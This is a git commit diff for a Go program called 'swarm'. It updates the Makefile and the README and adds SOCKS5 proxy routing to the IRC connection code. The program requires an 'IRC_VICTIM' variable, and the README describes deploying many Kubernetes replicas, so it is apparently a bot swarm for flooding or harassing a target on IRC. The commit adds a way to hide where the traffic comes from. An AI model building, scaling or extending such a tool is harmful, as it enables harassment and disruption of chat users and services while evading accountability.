proxy support, fix 1.15 builds

This commit is contained in:
dave 2020-08-15 15:59:04 -07:00
parent 48ad301517
commit 2724984b3b
3 changed files with 16 additions and 9 deletions

View File

@ -1,11 +1,12 @@
BUILDVARS := CGO_ENABLED=0
.PHONY: swarm
swarm:
go build -o swarm cmd/swarm/main.go
$(BUILDVARS) go build -o swarm cmd/swarm/main.go
.PHONY: linux
linux:
GOOS=linux GOARCH=amd64 go build -o swarm -ldflags '-w -s' cmd/swarm/main.go
#GOOS=linux GOARCH=amd64 go build -o swarm cmd/swarm/main.go
$(BUILDVARS) GOOS=linux GOARCH=amd64 go build -o swarm cmd/swarm/main.go
.PHONY: clean
clean:

View File

@ -3,14 +3,13 @@
## Building server binary
```
# A stripped binary
# You need golang...
go build -ldflags="-w -s" ./...
CGO_ENABLED=0 go build ./...
```
## Building docker
```
docker build -t antiroachlol
docker build -t antiroachlol
docker tag antiroachlol your.docker.endpoint.here/name
docker push your.docker.endpoint.here/name
@ -22,3 +21,9 @@ Edit `antiroach.yml` to match the docker name and desired replicas you put above
```
kubectl apply -f antiroach.yml
```
## Run with proxy
```
ALL_PROXY=socks5://localhost:1243 ./swarm
```

View File

@ -5,12 +5,12 @@ import (
"fmt"
"log"
"math/rand"
"net"
"os"
"strconv"
"strings"
"time"
"golang.org/x/net/proxy"
irc "gopkg.in/irc.v3"
)
@ -36,7 +36,9 @@ func HandleRequest(ctx context.Context) (string, error) {
log.Fatal("Set IRC_VICTIM!")
}
conn, err := net.Dial("tcp", server)
dialer := proxy.FromEnvironment()
conn, err := dialer.Dial("tcp", server)
if err != nil {
log.Fatal(err)
}
@ -50,7 +52,6 @@ func HandleRequest(ctx context.Context) (string, error) {
client := irc.NewClient(conn, config)
err = client.Run()
return fmt.Sprintf("i died"), err
}
func handleIRCCon(c *irc.Client, m *irc.Message) {